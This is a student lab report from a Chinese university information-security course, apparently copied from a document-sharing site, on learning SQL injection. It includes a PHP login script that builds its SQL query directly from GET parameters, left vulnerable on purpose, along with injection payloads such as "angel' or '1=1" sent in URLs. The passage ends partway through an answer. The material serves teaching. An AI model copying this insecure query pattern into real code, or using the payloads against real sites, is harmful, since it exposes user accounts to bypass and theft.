信息安全实验4--报告模板
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
阳光学院计算机科学与技术系
信息安全实验报告
专业:计算机科学与技术
年级:2015级
组别:1B
学号:15100273
姓名:邹驼玲
2017年月日
实验4 数据库安全
练习一、 SQL注入
【实验目的】
了解SQL注入的基本原理
掌握PHP脚本访问MySQL数据库的基本方法
掌握程序设计中避免出现SQL注入漏洞的基本方法
【实验人数】
每组1人
【系统环境】
Linux
【网络环境】
交换网络结构
【实验类型】
设计型
【实验步骤】
「注」实验步骤中涉及到的mysql数据库操作命令和php脚本源码,均在/opt/ExpNIC/HostSec-Lab/ Projects目录中提供。
一.PHP访问MySQL简单实例
1.创建隶属test数据库的user表
(1) 启动mysql服务
①在控制台中输入如下命令启动mysql服务。缺省状态下root用户密码为空。
service mysqld start
②可通过如下命令查看mysql服务是否启动成功。
service mysqld status
(2) 创建user数据库表
在控制台中输入mysql,进入mysql客户端控制台(mysql>)。
①选择工作数据库test(缺少状态下,test数据库已被创建)。
use test;
②创建user数据库表
CREATE TABLE user(userid int(11) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL DEFAULT "", password varchar(20) NOT NULL DEFAULT "", PRIMARY KEY(userid))TYPE=MyISAM
AUTO_INCREMENT=3;
③插入两条数据信息
INSERT INTO user VALUES(1, "angel", "mypass");
INSERT INTO user VALUES(2, "lblis", "yourpass");
④查看数据库表
select * from user;
2.编写PHP脚本查询user数据库表
编写access.php脚本,内容如下:
$servername = "localhost" # 定义变量 MySQL服务器名称
$dbusername = "root"; # 访问MySQL数据库的用户名称
$dbpassword = ""; # root用户密码,默认为空
$dbname = "test"; # 工作数据库
$username = $_GET['username']; # 利用HTTP的GET方法,从URL中获取username参数值$password = $_GET['password']; # 获取password参数值
## 连接到MySQL服务器
$dbcnx = mysql_connect($servername, $dbusername, $dbpassword);
{
if( !$dbcnx )
{
echo( "连接MySQL服务器失败".mysql_error() );
exit();
}}
## 选择工作数据库
if( !mysql_select_db($dbname, $dbcnx) )
{
echo( "激活$dbname数据库失败".mysql_error() );
exit();
}
## SQL查询
$sql_select = "SELECT * FROM user WHERE username='$username' AND password='$password'"; $result = mysql_query($sql_select, $dbcnx);
$userinfo = mysql_fetch_array($result);
if( empty($userinfo) )
{
echo( "登录失败" );
}
else
{
echo( "登录成功" );
}
echo "
SQL查询: $sql_select
";
?>
从代码中可知,当输入正确的用户名和密码后,就会提示登录成功,否则登录失败。
单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交:
http://本机IP/access.php?username=angel&password=mypass
Web页面会提示“登录成功”。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROM user WHERE username=’angel’AND password=’mypass’
3.实施SQL注入
(1) 在URL地址栏中提交:
http://本机IP/access.php?username=angel' or 1=1
注入是否成功?否。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROM user WHERE username=’angel’or 1=1’AND password=”
(2) 在URL地址栏中提交:
http://本机IP/access.php?username=angel' or '1=1
注入是否成功?是。
写出此时PHP脚本中具体的SQL查询语句: